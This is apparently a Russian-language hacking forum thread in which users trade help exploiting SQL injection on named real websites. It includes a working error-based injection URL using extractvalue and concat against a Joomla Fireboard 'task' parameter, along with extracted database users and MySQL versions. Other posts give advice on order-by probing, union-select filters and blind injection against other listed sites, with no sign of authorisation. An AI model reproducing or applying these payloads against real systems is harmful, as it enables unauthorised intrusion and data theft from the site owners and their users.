Ваши вопросы по уязвимостям.

Помогите раскрутить
Пробывал sqlmap'ом.
http://www.fanatnauki.ru/index.php?option=com_fireboard&Itemid=8&func=view

 

http://www.fanatnauki.ru/index.php
?option=com_fireboard
&Itemid=8
&func=view
&task=showprf',(extractvalue(1,concat(0x3a,version()))),1,2,3,4)-- xyi
upd. главное после --ПРОБЕЛ надо какой-то ещё символ поставить, а то trim убирает пробел

 

Ups
Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.

current user: 'kubrikov_fn@localhost'

 

Он не знал, что скуль в другом параметре - task.

Зы. смысл было повторно постить раскрутку ещё и более длинным способом...

 

Дайте покороче способ, если есть. Спасибо.

 

http://forum.antichat.ru/showpost.php?p=3243868&postcount=21172
Выше разве не он?

 

Ups
Я дал ему способ для мапа и как пример показал что можно и мапом, а что использовать дело хозяйское, вот для того и запостил.

 

через админку

 

Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?

Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'

 

Там по моему фильтр на union select

 

но order by же должен работать?

 

'5.1.61'

 

Через name_const не выведешь ничего кроме version()
Вот запрос более рабочий с примером работы с таблицами и колонками.

 

Всем большое спасибо за помощь

 

http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля думаю поэтому и не хочет
там 3 версия?

 

Всё отлично работает

4.0.27-log

 

блин точно,забыл минусик поставить...ппц я протупил
спасибо

 

http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит

 

Потому-что это слепая скуля

 

Вы не правы